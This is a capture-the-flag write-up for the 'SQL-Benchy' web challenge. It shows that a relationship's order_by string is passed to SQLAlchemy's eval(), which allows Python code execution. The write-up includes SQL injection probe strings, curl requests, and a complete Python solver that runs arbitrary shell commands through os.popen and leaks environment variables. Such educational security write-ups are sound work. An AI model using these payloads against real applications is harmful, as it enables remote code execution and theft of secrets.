Skip to main content
  1. Writeups/

mntcrlCTF 2026: SQL-Benchy

 Author
Author
lollo
Category Web Event mntcrlCTF
🚩 Flag mntcrl{d1d_y0ur_c0dex_th1nk_th1s_w4s_a_sql???_d5580ac991e82142}

TL;DR
#

The app builds SQLAlchemy models out of the JSON we send it. One of those fields, a relationship’s order_by, gets handed to SQLAlchemy as a string, and SQLAlchemy runs that string through eval(). That gives us Python code execution. From there we run a shell command, raise its output as an error, and let the app print the error on the page. So despite the name, there’s no SQL injection at all here; the database is just in-memory SQLite.

The app
#

This was a black-box challenge: we were given nothing but a live URL, so everything we know about the app we learned by talking to it. The idea is simple enough: you send it JSON describing tables, columns, foreign keys and relationships, and it builds live SQLAlchemy models out of them on the fly. The API is tiny:

MethodPathPurpose
POST/tables/<name>create a table from JSON
POST / GET/tables/<name>/rowsinsert / show rows

When the backend hits an error, it shows the message in a #status box on the page. That reflected error is what we’ll read our output from later.

It’s not SQL injection
#

The name screams SQL injection, so that’s the first thing we tried. We threw the usual payloads at the values we store: quotes, true/false conditions, stacked queries, a UNION, and time delays.

Value we sendWhat comes back
' OR '1'='1' OR '1'='1
' AND '1'='2' AND '1'='2
'; DROP TABLE users;--'; DROP TABLE users;--
\' UNION SELECT 1,2,3--\' UNION SELECT 1,2,3--

Every one of them came back exactly as we sent it. No errors, no odd behaviour, no delays. The values are handled safely, so there’s nothing to inject there.

So we tried a different angle and turned to the other fields we control. That’s when order_by on a relationship gave it away: feeding it a bad value threw back a Python error, not a SQL one:

order_by = "b.id"      ->  200, ok
order_by = "nope_col"  ->  400, "name 'nope_col' is not defined"

We expected a SQL error, but "name 'nope_col' is not defined" is a Python NameError. That’s the moment it clicked: order_by isn’t stored as data like the row values are, it’s being run as Python.

Why: SQLAlchemy eval()s string order_by
#

When you give a relationship an order_by as a string, SQLAlchemy has to turn that text back into a real object, and it does that with eval(). Here’s the relevant bit from sqlalchemy/orm/clsregistry.py:

def __call__(self):
    try:
        x = eval(self.arg, globals(), self._dict)   # self.arg = our order_by
        ...
    except NameError as n:
        self._raise_for_name(n.args[0], n)          # only NameError is caught

Since globals() includes the built-ins, things like __import__, open and exec are all within reach. In other words, whatever we put in order_by runs as Python.

Exploit
#

The only exception it catches is NameError. Anything else bubbles up and gets printed in the #status box, so the trick is to raise our command output as an error:

exec("raise Exception(__import__('os').popen('env').read())")

order_by only lives inside a relationship, and SQLAlchemy checks that the relationship is valid before it ever runs our string. That means we need a real table to point at first, so it takes two requests:

HOST=https://sql-benchy-5f924d14a7eb.c.mntcrl.it

# 1. base table, just needs to exist
curl -sk "$HOST/tables/b" -H 'Content-Type: application/json' \
  -d '{"columns":{"name":"string"}}'

# 2. attack table: order_by runs the payload -> FLAG in the response
curl -sk "$HOST/tables/p123456" -H 'Content-Type: application/json' \
  -d '{"columns":{"name":"string"},"foreign_keys":{"b_id":{"target":"b.id","type":"integer"}},"relationships":{"b":{"target":"b","order_by":"exec(\"raise Exception(__import__('\''os'\'').popen('\''env'\'').read())\")"}}}' \
  | grep -o 'FLAG=[^<]*'

Output:

FLAG=mntcrl{d1d_y0ur_c0dex_th1nk_th1s_w4s_a_sql???_d5580ac991e82142}

Just change the command inside popen('...') to run whatever you want. The environment also leaks DATABASE_URL=sqlite://, which confirms the database was only ever in-memory.

Appendix: the solver
#

The whole thing is just two requests:

#!/usr/bin/env python3
import json, re, ssl, sys, time, urllib.request, urllib.error
from urllib.parse import quote

BASE = "https://sql-benchy-5f924d14a7eb.c.mntcrl.it"
CTX = ssl._create_unverified_context()


def req(method, path, body=None):
    data = json.dumps(body).encode() if body is not None else None
    headers = {"Content-Type": "application/json"} if data else {}
    r = urllib.request.Request(BASE + quote(path, safe="/"), data=data, method=method, headers=headers)
    try:
        with urllib.request.urlopen(r, timeout=20, context=CTX) as resp:
            return resp.read().decode("utf-8", "replace")
    except urllib.error.HTTPError as e:
        return e.read().decode("utf-8", "replace")


def message(html):
    m = re.search(r'id="status"[^>]*>(.*?)</div>', html, re.S)
    return re.sub(r"\s+", " ", re.sub(r"<[^>]+>", "", m.group(1))).strip() if m else html[:200]


def run(command):
    req("POST", "/tables/b", {"columns": {"name": "string"}})
    payload = "exec(%r)" % ("raise Exception(__import__('os').popen(%r).read())" % command)
    name = "p%d" % (int(time.time() * 1000) % 1000000)
    schema = {
        "columns": {"name": "string"},
        "foreign_keys": {"b_id": {"target": "b.id", "type": "integer"}},
        "relationships": {"b": {"target": "b", "order_by": payload}},
    }
    return message(req("POST", "/tables/" + name, schema))


print(run(sys.argv[1] if len(sys.argv) > 1 else "env"))

The only fiddly part is building the payload. The nested %r lets Python’s repr handle all the quoting for us: the command goes inside popen(...), and the whole raise statement goes inside exec(...).